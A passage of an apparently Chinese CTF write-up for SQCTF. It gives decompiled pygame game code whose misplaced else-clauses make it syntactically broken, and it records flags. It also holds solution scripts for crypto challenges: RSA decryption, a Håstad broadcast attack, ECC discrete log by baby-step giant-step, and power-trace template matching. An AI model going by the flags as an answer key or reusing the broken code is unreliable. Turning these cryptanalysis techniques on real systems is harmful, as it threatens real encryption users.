                pygame.mixer.music.load('assets/bgm.mp3')
                pygame.mixer.music.play(1, 0.0)
                pygame.mixer.music.set_volume(0.15)
                start_time = datetime.datetime.now()
        if start:
            pass  # postinserted
    PL = Player(player, rect_player, player_speed)
    while running:
        screen.fill(white)
        screen.blit(paper, (0, 0))
        for height in range(0, screen_height, wall_height):
            screen.blit(wall, (distance, height))
        press_keys = pygame.key.get_pressed()
        player_pos, player_img = PL.update(screen, press_keys)
        position = pygame.mouse.get_pos()
        angle = math.atan2(position[1] - (player_pos[1] + player_height), position[0] - (player_pos[0] + player_width))
        player_rot = pygame.transform.rotate(player_img, 360 - angle * 57.29)
        player_pos1 = (player_pos[0] - player_rot.get_rect().width / 2, player_pos[1] - player_rot.get_rect().height / 2)
        screen.blit(player_rot, player_pos1)
        for wave in wave_set:
            index = 0
            vel_x = math.cos(wave[0]) * wave_speed
            vel_y = math.sin(wave[0]) * wave_speed
            wave[1] += vel_x
            wave[2] += vel_y
            if wave[1] < -sub_wave_width or wave[1] > screen_width or wave[2] < -sub_wave_height or (wave[2] > screen_height):
                wave_set.pop(index)
            index += 1
            for projectile in wave_set:
                wave1 = pygame.transform.rotate(sub_wave, 360 - projectile[0] * 57.29)
                screen.blit(wave1, (projectile[1], projectile[2]))
        monster_timer = random.choice(range(200))
        if monster_timer < 1:
            monsters.append([screen_width, random.randint(monster_height, screen_height - monster_height)])
        index = 0
        for monster in monsters:
            if monster[0] < -monster_width:
                monsters.pop(index)
            monster[0] -= monster_speed
            monster_rect = pygame.Rect(monster_img.get_rect())
            monster_rect.top = monster[1]
            monster_rect.left = monster[0]
            if monster_rect.left < wall_width + distance:
                health_value -= random.randint(20, 50)
                monsters.pop(index)
            index1 = 0
            for wave in wave_set:
                wave_rect = pygame.Rect(sub_wave.get_rect())
                wave_rect.left = wave[1]
                wave_rect.top = wave[2]
                if monster_rect.colliderect(wave_rect):
                    wave_set.pop(index1)
                    try:
                        monsters.pop(index)
                    except IndexError as error:
                        pass  # postinserted
            else:  # inserted
                index1 += 1
            else:  # inserted
                index += 1
        else:  # inserted
            for monster in monsters:
                screen.blit(monster_img, monster)
            font = pygame.font.Font(None, 42)
            cur_time = datetime.datetime.now()
            play_time = (cur_time - start_time).seconds
            if play_time % 60 < 10:
                time_str = ':0'
            else:  # inserted
                time_str = ':'
            survived_text = font.render(str(play_time // 60) + time_str + str(play_time % 60), True, (0, 0, 0))
            text_Rect = survived_text.get_rect()
            text_Rect.topright = [screen_width - 5, 5]
            screen.blit(survived_text, text_Rect)
            health_bar_img = pygame.transform.scale(health_bar_img, (health_value_max, health_bar_height))
            screen.blit(health_bar_img, [0, 5])
            if health_value < 0:
                health_value = 0
            health_img = pygame.transform.smoothscale(health_img, (health_value, health_height))
            screen.blit(health_img, [0, 5])
            pygame.display.flip()
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    pygame.quit()
                    sys.exit()
                if event.type == pygame.MOUSEBUTTONDOWN and len(wave_set) < wave_max:
                    position = pygame.mouse.get_pos()
                    wave_set.append([math.atan2(position[1] - (player_pos1[1] + player_height), position[0] - (player_pos1[0] + player_width)), player_pos1[0], player_pos1[1]])
            if pygame.time.get_ticks() >= fin_time * 9999999999:
                running = 0
                win = 1
            if health_value == 0:
                running = 0
                win = 0
    if not running:
        while start:
            pygame.mixer.music.stop()
            if win:
                screen.blit(victory, (0, 0))
                pygame.font.init()
                font = pygame.font.SysFont('SimHei', 32)
                text = font.render(' SQCTF={Defeat_abyssun}!', True, (250, 50, 200))
                text_Rect = text.get_rect()
                text_Rect.centerx = screen.get_rect().centerx + 20
                text_Rect.centery = screen.get_rect().centery - 250
                screen.blit(text, text_Rect)
            if not win:
                screen.blit(game_over, (0, 0))
                pygame.font.init()
                font = pygame.font.SysFont('SimHei', 32)
                text = font.render('失败 !谁让你真玩了!打开你的ce修改啊!!!', True, (250, 50, 200))
                text_Rect = text.get_rect()
                text_Rect.centerx = screen.get_rect().centerx + 20
                text_Rect.centery = screen.get_rect().centery - 250
                screen.blit(text, text_Rect)
            pygame.display.flip()
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    pygame.quit()
                    sys.exit()
    print('IndexError: ' + str(error))

1 SQCTF{Defeat_abyssun}

Crypto

base?

逆表base64


SQCTF{b7b48685-03ef-4e24-b25b-212fac2ec2d3}


小白兔白又白

Base91 -> Base64 -> Base62 -> Base16

结果是: U2FsdGVkX1+cEAtCb8l5oIiX+J9CwG3SpvdB38nPFkjnJ1HmRvbYQubVZDL3

Rabbit 加密密钥233 (提示b站 2333)或者(Base91+ Base64+ Base62 + Base16 =base 233)

SQCTF{LOOK_my_eyes_baby_why?}


别阴阳我了行吗?

阴阳怪气解码

(无语感叹号是英文的)


SQCTF{xm!tql!xm!}

春风得意马蹄疾

核心价值观编码解密四次


SQCTF{E2jacnicamcm_cnanamw_kwkma}


简单RSA

分解出pq直接解

import math

# Given values
n_str = "7349515423675898192891607474991784569723846586810596813062667159281369435049497248016288479718926482987176535358013000103964873016387433732111229186113030853959182765814488023742823409594668552670824635376457830121144679902605863066189568406517231831010468189513762519884223049871926129263923438273811831862385651970651114186155355541279883465278218024789539073180081039429284499039378226284356716583185727984517316172565250133829358312221440508031140028515954553016396884149904097959425582366305748700291610280675014390376786701270107136492645593662763444032174543205008326706371954830419775515459878227148997362533"
p_str = "85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863614460682753"
q_str = "85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863611867388261"
c_str = "3514741378432598036735573845050830323348005144476193092687936757918568216312321624978086999079287619464038817665467748860146219342413630364856274551175367026504110956407511224659095481178589587424024682256076598582558926372354316897644421756280217349588811321954271963531507455604340199167652015645135632177429144241732132275792156772401511326430069756948298403519842679923368990952555264034164975975945747016304948179325381238465171723427043140473565038827474908821764094888942553863124323750256556241722284055414264534546088842593349401380142164927188943519698141315554347020239856047842258840826831077835604327616"
e = 65537

n = int(n_str)
p = int(p_str)
q = int(q_str)
c = int(c_str)

# Verify factorization (optional but recommended)
# assert p * q == n

# Calculate phi(n)
phi_n = (p - 1) * (q - 1)

# Calculate d (modular inverse of e mod phi_n)
# Requires Python 3.8+ for pow(e, -1, phi_n)
# Alternatively, use gmpy2.invert(e, phi_n) or implement extended Euclidean algorithm
d = pow(e, -1, phi_n)

# Decrypt: m = c^d mod n
m_int = pow(c, d, n)

# Convert the resulting integer m to bytes
# The length calculation ensures we capture all bytes
m_bytes = m_int.to_bytes((m_int.bit_length() + 7) // 8, byteorder='big')

# Decode the bytes into a string (assuming UTF-8 or ASCII)
try:
    m_str = m_bytes.decode('utf-8')
except UnicodeDecodeError:
    try:
        m_str = m_bytes.decode('ascii')
    except UnicodeDecodeError as e:
        m_str = f"Decoding failed: {e}. Raw bytes: {m_bytes}"

print("Calculated p:", p)
print("Calculated q:", q)
print("Calculated phi(n):", phi_n)
print("Calculated d:", d)
print("Decrypted integer m:", m_int)
print("Decrypted message (bytes):", m_bytes)
print("Decrypted message (string):", m_str)

SQCTF{be7e48547356cdf16649fd29e0ff9e1f}

ezCRT

中国剩余定理+广播攻击直接上脚本

import gmpy2
import libnum # 用于数字和字符串/字节串之间的转换

# --- 输入数据 ---
# 模数 (Moduli)
n1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681
n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063
n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093

# 密文 (Ciphertexts)
c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165
c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023
c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614

# 公共指数 (Public Exponent)
e = 3

# --- 中国剩余定理 (CRT) 部分 ---
print("--- 正在应用中国剩余定理 (CRT) ---")
N = n1 * n2 * n3  # 计算所有模数的乘积
print(f"N = n1*n2*n3 计算完成 (非常大的数)")

N1 = N // n1
N2 = N // n2
N3 = N // n3
print("N1, N2, N3 计算完成")

# 计算模逆元
# y_i * N_i ≡ 1 (mod n_i)
y1 = gmpy2.invert(N1, n1)
y2 = gmpy2.invert(N2, n2)
y3 = gmpy2.invert(N3, n3)
print("模逆元 y1, y2, y3 计算完成")

# 根据 CRT 公式计算合并解 x
# x ≡ c1*N1*y1 + c2*N2*y2 + c3*N3*y3 (mod N)
term1 = (c1 * N1 * y1)
term2 = (c2 * N2 * y2)
term3 = (c3 * N3 * y3)
x = (term1 + term2 + term3) % N
print(f"合并解 x 计算完成 (x ≡ m^{e} mod N)")
# print(f"x = {x}") # x 的值通常非常大,取消注释以查看

# --- 低指数攻击 (开方) 部分 ---
print(f"\n--- 正在尝试计算 x 的整数 {e} 次方根 ---")
m_mpz, perfect_root = gmpy2.iroot(x, e) # 计算 x 的 e 次方根

if perfect_root:
    print(f"成功找到整数 {e} 次方根 m!")
    m = int(m_mpz) # 将 gmpy2 结果转换为 Python 整数
    print(f"明文 (整数形式): {m}")

    # 将整数 m 转换为字节串
    print("\n--- 正在将整数明文转换为字节串 ---")
    try:
        # 使用 libnum 转换,它能较好地处理前导零字节
        message_bytes = libnum.n2s(m)
        print(f"明文 (字节串): {message_bytes}")

        # 尝试将字节串解码为 UTF-8 字符串
        print("\n--- 正在尝试将字节串解码为 UTF-8 字符串 ---")
        try:
            message_str = message_bytes.decode('utf-8')
            print(f"解码成功!")
            decrypted_message = message_str
        except UnicodeDecodeError:
            print(f"无法将字节串解码为 UTF-8。可能是其他编码或非文本数据。")
            # 如果解码失败,将字节串的十六进制表示作为结果
            decrypted_message = message_bytes.hex()
    except Exception as conv_error:
        print(f"将整数转换为字节时出错: {conv_error}")
        decrypted_message = f"转换错误: {conv_error}"

else:
    print(f"解密失败: 合并后的值 x 不是一个完美的 {e} 次方数。")
    print("这可能意味着:")
    print("  - 原始密文并非加密同一个明文。")
    print(f"  - 明文 m 较大,导致 m^{e} >= N。")
    decrypted_message = "解密失败 (非完美根)"

# --- 输出最终结果 ---
print("\n========================================")
print("解密结果:")
print(decrypted_message)
print("========================================")

# --- 修改: 强制将原始字节串解码为 ASCII (忽略错误) ---
print("\n--- 强制将原始字节串解码为 ASCII (忽略非 ASCII 字符) ---")
# 只有在解密成功并且成功得到 message_bytes 时才尝试解码
if 'message_bytes' in locals() and isinstance(message_bytes, bytes):
    try:
        # 使用 errors='ignore' 来跳过无法解码的字节
        ascii_message_ignored = message_bytes.decode('ascii', errors='ignore')
        print("强制 ASCII 解码 (忽略错误) 成功:")
        print(ascii_message_ignored)
    except Exception as e:
        # 捕捉其他可能的错误
        print(f"尝试强制 ASCII 解码时发生错误: {e}")
else:
    print("由于解密未成功或未能生成字节串,无法尝试强制 ASCII 解码。")

SQCTF{CRT_Unl0cks_RSA_Eff1c13ncy}

失落矿洞中的密码

y ^ 2 = x ^ 3 + 1234577 * x + 3213242 (mod 7654319)

G = (5234568, 2287747)

Public_Key = secretKey * G = (2366653, 1424308)

crypted_data = [(5081741, 6744615), (610619, 6218)]

m(x, y) ===> crypted_data[c1, c2]

x + y = ???

椭圆曲线加密

椭圆曲线方程: y^2 ≡ x^3 + ax + b (mod p)

a = 1234577

b = 3213242

p = 7654319 (这是一个素数,定义了有限域 F_p)

基点 (Generator): G = (5234568, 2287747)

公钥 (Public Key): PubKey = (2366653, 1424308)

关系: PubKey = secretKey * G (这里的 * 代表椭圆曲线上的标量乘法)

密文 (Ciphertext): crypted_data = [c1, c2] c1 = (5081741, 6744615)

c2 = (610619, 6218)

加密过程 (ECC ElGamal):

发送方选择一个随机数 k (ephemeral key)。 c1 = k * G

c2 = M + k * PubKey (这里的 + 代表椭圆曲线上的点加法,M 是要加密的消息点 m(x,y))

解密过程:

接收方拥有 secretKey。 计算 S = secretKey * c1

计算 M = c2 - S = c2 + (-S) (其中 -S 是点 S 的逆元)

目标: 找到原始消息点 M = (x, y),并计算 x + y。

我们需要解决椭圆曲线离散对数问题 (ECDLP):已知 G 和 PubKey,找到 secretKey 使得 PubKey = secretKey * G。

PubKey = (2366653, 1424308)

G = (5234568, 2287747)

p = 7654319

由于 p 不是特别大 (大约 760 万),我们可以尝试使用暴力搜索或者 Baby-step Giant-step 等算法。这里我们尝试简单的暴力搜索,即计算 1G, 2G, 3*G, ... 直到结果等于 PubKey。

为此,我们需要实现椭圆曲线的点加和标量乘法(通常使用 Double-and-Add 算法)。我们需要实现以下函数:

modInverse(n, p): 计算 n 模 p 的乘法逆元。

point_add(P, Q, a, p): 计算点 P 和点 Q 在模 p 意义下的和。

scalar_mult(k, P, a, p): 计算点 P 的 k 倍标量乘法。

通过运行暴力搜索程序(或更优化的算法),我们可以找到 secretKey。暴力枚举

import time
import math

# --- (保持不变:extended_gcd, modInverse 函数) ---
def extended_gcd(a, b):
    if a == 0: return b, 0, 1
    gcd, x1, y1 = extended_gcd(b % a, a)
    x = y1 - (b // a) * x1
    y = x1
    return gcd, x, y

def modInverse(a, m):
    gcd, x, y = extended_gcd(a, m)
    if gcd != 1: raise Exception('Modular inverse does not exist')
    return (x % m + m) % m

# --- (保持不变:曲线参数和点) ---
a = 1234577
b = 3213242
p = 7654319 # Modulus (prime)
G = (5234568, 2287747)
PubKey = (2366653, 1424308)
c1 = (5081741, 6744615)
c2 = (610619, 6218)

# --- (保持不变:ECC 运算函数 point_add, point_double, scalar_mult) ---
# Point Addition P + Q
def point_add(P, Q, a, p):
    if P is None: return Q
    if Q is None: return P
    x1, y1 = P
    x2, y2 = Q
    if x1 == x2 and y1 != y2: return None # P = -Q
    if x1 == x2 and y1 == y2: return point_double(P, a, p) # P = Q
    num = (y2 - y1 + p) % p
    den = (x2 - x1 + p) % p
    if den == 0: raise ValueError("Division by zero in point addition")
    lambda_ = (num * modInverse(den, p)) % p
    x3 = (lambda_ * lambda_ - x1 - x2 + 2*p) % p
    y3 = (lambda_ * (x1 - x3 + p) - y1 + p) % p
    return (x3, y3)

# Point Doubling 2*P
def point_double(P, a, p):
    if P is None: return None
    x1, y1 = P
    if y1 == 0: return None # Tangent is vertical
    num = (3 * x1 * x1 + a) % p
    den = (2 * y1) % p
    if den == 0: raise ValueError("Division by zero in point doubling")
    lambda_ = (num * modInverse(den, p)) % p
    x3 = (lambda_ * lambda_ - 2 * x1 + 2*p) % p
    y3 = (lambda_ * (x1 - x3 + p) - y1 + p) % p
    return (x3, y3)

# Scalar Multiplication k * P
def scalar_mult(k, P, a, p):
    if P is None or k == 0: return None
    result = None
    current_power_of_2_P = P
    k_temp = k
    while k_temp > 0:
        if k_temp % 2 == 1:
            result = point_add(result, current_power_of_2_P, a, p)
        current_power_of_2_P = point_double(current_power_of_2_P, a, p)
        k_temp //= 2
    return result

# --- 新增:点求逆函数 ---
def point_inverse(P, p):
    """计算点 P 的逆元 -P = (x, -y mod p)"""
    if P is None:
        return None
    x, y = P
    neg_y = (-y + p) % p
    return (x, neg_y)

# --- 优化:使用 Baby-step Giant-step 寻找 secretKey ---
def find_secret_key_bsgs(G, PubKey, a, p):
    print("\nStarting search for secretKey using Baby-step Giant-step...")
    # 1. 计算步长 m
    m = math.ceil(math.sqrt(p)) # 向上取整
    print(f"BSGS step size m = {m}")

    # 2. Baby Steps: 计算 j * G for j = 0 to m-1,存入查找表
    baby_steps = {}
    current_baby_step = None # Corresponds to 0*G
    start_baby = time.time()
    for j in range(m):
        # 存 (Point -> j),Point作为key
        baby_steps[current_baby_step] = j
        if j < m - 1: # 避免最后一次多余的加法
            current_baby_step = point_add(current_baby_step, G, a, p)
    end_baby = time.time()
    print(f"Baby steps calculated in {end_baby - start_baby:.2f} seconds ({len(baby_steps)} points).")

    # 3. Giant Steps: 计算 Q = PubKey - i * m * G
    # 先计算 m*G 和它的逆元 -m*G
    mG = scalar_mult(m, G, a, p)
    if mG is None:
         raise ValueError("m*G resulted in point at infinity, BSGS might fail or need adjustment")
    neg_mG = point_inverse(mG, p)

    # 从 PubKey 开始,每次减去 m*G (即加上 -m*G)
    current_giant_step = PubKey
    start_giant = time.time()
    for i in range(m):
        # 4. 查找匹配
        if current_giant_step in baby_steps:
            j = baby_steps[current_giant_step]
            secretKey = (i * m + j) % p # 通常我们关心的是模 group order,但模 p 也能找到一个有效解
            end_giant = time.time()
            print(f"Giant steps checked up to i = {i} in {end_giant - start_giant:.2f} seconds.")
            return secretKey
        # 更新 Q 为 Q - m*G
        current_giant_step = point_add(current_giant_step, neg_mG, a, p)

    # 如果循环结束还没找到,说明有问题
    raise Exception("Secret key not found with BSGS algorithm.")


# --- 主要执行流程 ---
print(f"Curve: y^2 = x^3 + {a}x + {b} (mod {p})")
print(f"Base Point G = {G}")
print(f"Public Key PubKey = {PubKey}")

start_time_total = time.time()

# --- Step 1: Find the Secret Key (Optimized) ---
try:
    secretKey = find_secret_key_bsgs(G, PubKey, a, p)
    print(f"\nFound secretKey = {secretKey} using BSGS.")

    # --- (保持不变:验证 secretKey) ---
    print("Verifying: secretKey * G...")
    verification_point = scalar_mult(secretKey, G, a, p)
    print(f"Calculated {secretKey} * G = {verification_point}")
    if verification_point == PubKey:
        print("Verification SUCCESSFUL!")
    else:
        print("Verification FAILED! Check BSGS implementation or parameters.")
        exit()

    # --- (保持不变:Step 2: Decrypt the Message) ---
    print("\nDecrypting message M = c2 - (secretKey * c1)...")
    print(f"Calculating S = {secretKey} * c1...")
    S = scalar_mult(secretKey, c1, a, p)
    print(f"S = {S}")
    if S is None:
        print("Error: Calculation S resulted in the point at infinity.")
        exit()
    neg_S = point_inverse(S, p)
    print(f"Inverse of S (-S) = {neg_S}")
    print(f"Calculating M = c2 + (-S)...")
    print(f"c2 = {c2}")
    M = point_add(c2, neg_S, a, p)
    print(f"Decrypted Message Point M = {M}")
    if M is None:
        print("Error: Decryption resulted in the point at infinity.")
        exit()

    # --- (保持不变:Step 3: Calculate the final coordinate sum) ---
    Mx, My = M
    final_sum = Mx + My
    end_time_total = time.time()

    print("\n--- Final Result ---")
    print(f"Decrypted Message Point M = ({Mx}, {My})")
    print(f"Coordinate Sum (x + y) = {Mx} + {My} = {final_sum}")
    print(f"\nTotal execution time: {end_time_total - start_time_total:.2f} seconds.")

    # 与上次运行结果对比
    expected_sum = 5720914
    if final_sum == expected_sum:
        print(f"\nResult matches the previous correct result ({expected_sum})!")
    else:
        print(f"\nResult ({final_sum}) does NOT match the previous correct result ({expected_sum}). Please double-check calculations.")

except Exception as e:
    print(f"\nAn error occurred: {e}")

SQCTF{5720914}


密室逃脱的终极挑战

反编译直接出,确定不是re?


SQCTF{F4BBAC33-8D80-A886-5238-EA35B38B353A}

字母的轮舞与维吉尼亚的交响曲


1 N ehuzrhz tq tnjde ctcdy fraos qrur "Znk Mfnjwpd Ejlry tq Suqttaip." Lusplespsy nd a izcsk tq cxjltoty tu yse mwzuv, fyd ytwizzoe ox ehk tyle tftrje fuw wotjwitjds.Vjchgud iz bls gy ehox aoose tnfe I lnyarqj utipryyzoj Hzluspl Hzpnjíf lnj Ozsé Gwnajnz.Oaw sosjeocs meitxey f alghp wk qzvk szt hjnaaxp iz nd oaw sosjeocs, muz gpcgzde cj mernpvk ne tu gp oaw sosjeocs. Sosj ts axpd gx l prfne zt ceyy l dxnqtosr suzw, ati ehgy ts cmj iz xxerqd ol ipcgd lnj ipazm, wiqj hizmprki wegaps gso dkxprzjo ykqwoc xzir. Yz rkyfrt mzmk nd tu gcegp ehk hznijat uk "xe" hfnk oseo "ax," eo hj tnzjrrgypd oseo yznh g mfgk bsorj ehgy dlubwy hjnosjd itatsogwe, Sfnotiz, tnj Nizd zf Sncruwd.“Ot f hitypr tnrhz, yse ytfp vte wgx mooqtnm ty tnj dtuap, bay se sndski ehk xheryprosr hkfe it yse hfnk nfwl uk ehk gzoqxeoxj. Ehk mfm uk ehk xfn'y wlyy ty tnj ouyyj arrznj ycekx, ehk klity dixjys uk ehk rtdjfj mkfw, ay mp hgi tn Sfnotiz ykfcnki qox yse ytfp us ehk xeobj tn cnytkw, ehk hllr tq tnj nolkpe-vjodrjc, ati ehk xhily qlolst uk ehk qlrqx tn yucitl. GTLBT{bxc_oun_ewq!}"Xnkhgt," se yftd, zzcnosr tu Rlcusoo. Zmp tct eyvjd ol szszfwgof hexj wiqj xixwzry tapuxttk, fyd nj hay xeuip tn hjewkjy, cusquyjo, utfmlk yz mgnytgny a yzmlorp txfysijydksne.”


压缩包密码123456


解密维吉尼亚

1 secret=flag

1 VTFWI{brx_duh_zlq!}



凯撒爆破


1 SQCTF{you_are_win!}


玩的挺变态啊清茶哥

pig 编码


SQCTF{jijibaotonghualizuoyingxiong}

ez_SCA


import numpy as np

# 加载模板轨迹文件
template_trace_0 = np.load('template_trace_0.npy')
template_trace_1 = np.load('template_trace_1.npy')

# 加载能量轨迹文件
traces = np.load('energy_traces_with_flag.npy')
def bits_to_text(bits):
    chars = [bits[i:i+8] for i in range(0, len(bits), 8)]
    text = ''.join([chr(int(char, 2)) for char in chars])
    return text
# 提示:需要推导如何从能量轨迹恢复为明文 flag
# 题目包含附件总共5个
# 1.energy_traces_with_flag.npy
# 2.energy_traces_with_flag.png
# 3.template_trace_0.npy
# 4.template_trace_1.npy
# 5.本代码
  1. 关性分析 (Correlation Analysis) 来比较每条未知轨迹与两个模板的相似度:

template_trace_0 对应比特 '0'

template_trace_1 对应比特 '1'

判断逻辑:如果一个轨迹与 template_trace_0 的相关性 更高 (corr0 > corr1),则判断为比特 '0'。

尝试颠倒相关性判断的比特分配:

方法: 仍然使用相关性分析 (Correlation Analysis)。

计算: 计算 corr0 和 corr1 (与第一个脚本相同)。

假设改变: 假设 template_trace_0 实际对应比特 '1',而 template_trace_1 对应比特 '0'。

判断逻辑改变: 如果 corr0 > corr1 (即轨迹更像 template_trace_0),则判断为比特 '1' (而不是 '0');反之判断为 '0'。

  1. 尝试使用不同的相似度度量:平方差和 (Sum of Squared Differences - SSD):

方法: 改用平方差和 (SSD) 作为相似度度量。SSD 衡量两条轨迹之间的“距离”,距离越小表示越相似。

计算:

ssd0 = np.sum((trace - template_trace_0)**2) (轨迹与模板0的距离平方) ssd1 = np.sum((trace - template_trace_1)**2) (轨迹与模板1的距离平方)

假设: template_trace_0 对应 '0',template_trace_1 对应 '1' (与第一个脚本的初始假设相同)。

判断逻辑: 如果 ssd0 < ssd1 (即轨迹离 template_trace_0 更近),则判断为比特 '0';反之判断为 '1'。

  1. 尝试 SSD 方法并颠倒比特分配:

方法: 仍然使用平方差和 (SSD)。

计算: 计算 ssd0 和 ssd1 (与上一步相同)。

假设改变: 假设 template_trace_0 实际对应比特 '1',而 template_trace_1 对应比特 '0'。

判断逻辑改变: 如果 ssd0 < ssd1 (即轨迹离 template_trace_0 更近),则判断为比特 '1' (而不是 '0');反之判断为 '0'。


import numpy as np

# 加载模板轨迹文件
template_trace_0 = np.load('template_trace_0.npy')
template_trace_1 = np.load('template_trace_1.npy')

# 加载包含 flag 处理过程的能量轨迹文件
traces = np.load('energy_traces_with_flag.npy')

# 将二进制字符串转换为ASCII文本的函数
def bits_to_text(bits):
    # 按8位分组
    chars_bin = [bits[i:i+8] for i in range(0, len(bits), 8)]
    # 将每组二进制转换为整数,再转换为字符
    text = ''.join([chr(int(char_bin, 2)) for char_bin in chars_bin])
    return text

# --- 核心恢复逻辑 (尝试颠倒判断) ---
recovered_bits_swapped = "" # 用于存储恢复出的比特串 (颠倒逻辑)

# 遍历 energy_traces_with_flag.npy 中的每一条轨迹
for trace in traces:
    # 计算当前轨迹与模板0的相关系数
    corr0 = np.corrcoef(trace, template_trace_0)[0, 1] 
    
    # 计算当前轨迹与模板1的相关系数
    corr1 = np.corrcoef(trace, template_trace_1)[0, 1]
    
    # 比较相关性:哪个模板与当前轨迹更相关? (尝试颠倒判断逻辑)
    if corr0 > corr1:
        recovered_bits_swapped += '1' # !!! 原来是 '0', 现在改成 '1' !!!
    else:
        recovered_bits_swapped += '0' # !!! 原来是 '1', 现在改成 '0' !!!

# --- 输出结果 (颠倒逻辑后) ---
print(f"--- 尝试颠倒比特判断逻辑 ---")
print(f"成功处理了 {len(traces)} 条能量轨迹。")
print(f"恢复出的二进制比特串长度: {len(recovered_bits_swapped)}")

if len(recovered_bits_swapped) % 8 != 0:
    print(f"警告:恢复出的比特串长度 ({len(recovered_bits_swapped)}) 不是8的倍数,转换结果可能不准确。")
else:
     # 将恢复的比特串转换为文本 flag
    recovered_flag_swapped = bits_to_text(recovered_bits_swapped)
    print("-" * 30)
    print(f"恢复出的 Flag (颠倒逻辑): {recovered_flag_swapped}")
    print("-" * 30)

# --- (可选) 尝试使用平方差和 (SSD) 作为距离度量 ---
recovered_bits_ssd = ""

for trace in traces:
    # 计算与模板0的平方差和 (Sum of Squared Differences)
    ssd0 = np.sum((trace - template_trace_0)**2)
    # 计算与模板1的平方差和
    ssd1 = np.sum((trace - template_trace_1)**2)

    # SSD 越小越相似
    if ssd0 < ssd1:
        recovered_bits_ssd += '0' # 更接近模板0,判定为 '0'
    else:
        recovered_bits_ssd += '1' # 更接近模板1,判定为 '1'

print(f"\n--- 尝试使用平方差和 (SSD) 判断 ---")
print(f"成功处理了 {len(traces)} 条能量轨迹。")
print(f"恢复出的二进制比特串长度: {len(recovered_bits_ssd)}")

if len(recovered_bits_ssd) % 8 != 0:
     print(f"警告:恢复出的比特串长度 ({len(recovered_bits_ssd)}) 不是8的倍数,转换结果可能不准确。")
else:
    recovered_flag_ssd = bits_to_text(recovered_bits_ssd)
    print("-" * 30)
    print(f"恢复出的 Flag (SSD): {recovered_flag_ssd}")
    print("-" * 30)

# --- (可选) 尝试使用平方差和 (SSD) 且颠倒比特判断 ---
recovered_bits_ssd_swapped = ""

for trace in traces:
    # 计算与模板0的平方差和 (Sum of Squared Differences)
    ssd0 = np.sum((trace - template_trace_0)**2)
    # 计算与模板1的平方差和
    ssd1 = np.sum((trace - template_trace_1)**2)

    # SSD 越小越相似 (但颠倒比特解释)
    if ssd0 < ssd1:
        recovered_bits_ssd_swapped += '1' # 更接近模板0,但判定为 '1'
    else:
        recovered_bits_ssd_swapped += '0' # 更接近模板1,但判定为 '0'

print(f"\n--- 尝试使用平方差和 (SSD) 且颠倒比特判断 ---")
print(f"成功处理了 {len(traces)} 条能量轨迹。")
print(f"恢复出的二进制比特串长度: {len(recovered_bits_ssd_swapped)}")

if len(recovered_bits_ssd_swapped) % 8 != 0:
     print(f"警告:恢复出的比特串长度 ({len(recovered_bits_ssd_swapped)}) 不是8的倍数,转换结果可能不准确。")
else:
    recovered_flag_ssd_swapped = bits_to_text(recovered_bits_ssd_swapped)
    print("-" * 30)
    print(f"恢复出的 Flag (SSD, 颠倒逻辑): {recovered_flag_ssd_swapped}")
    print("-" * 30)


--- 尝试颠倒比特判断逻辑 ---
成功处理了 424 条能量轨迹。
恢复出的二进制比特串长度: 424
------------------------------
恢复出的 Flag (颠倒逻辑):$@@ °ÂÀ)
------------------------------

--- 尝试使用平方差和 (SSD) 判断 ---
成功处理了 424 条能量轨迹。
恢复出的二进制比特串长度: 424
------------------------------
恢复出的 Flag (SSD): SQCTF{easy_funny_and_not_hard_sca_hhh_just_kingdding}
------------------------------

--- 尝试使用平方差和 (SSD) 且颠倒比特判断 ---
成功处理了 424 条能量轨迹。
恢复出的二进制比特串长度: 424
------------------------------
恢复出的 Flag (SSD, 颠倒逻辑): ¬®¼«¹        
------------------------------


丢三落四的小I

dp泄露工具秒了


SQCTF{7b909221-c8ff-f391-0c86-d3a9ca8491d1}

在补个脚本(网上很多)

import gmpy2
import libnum

n= 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029
e= 65537
c= 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173
dp= 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113

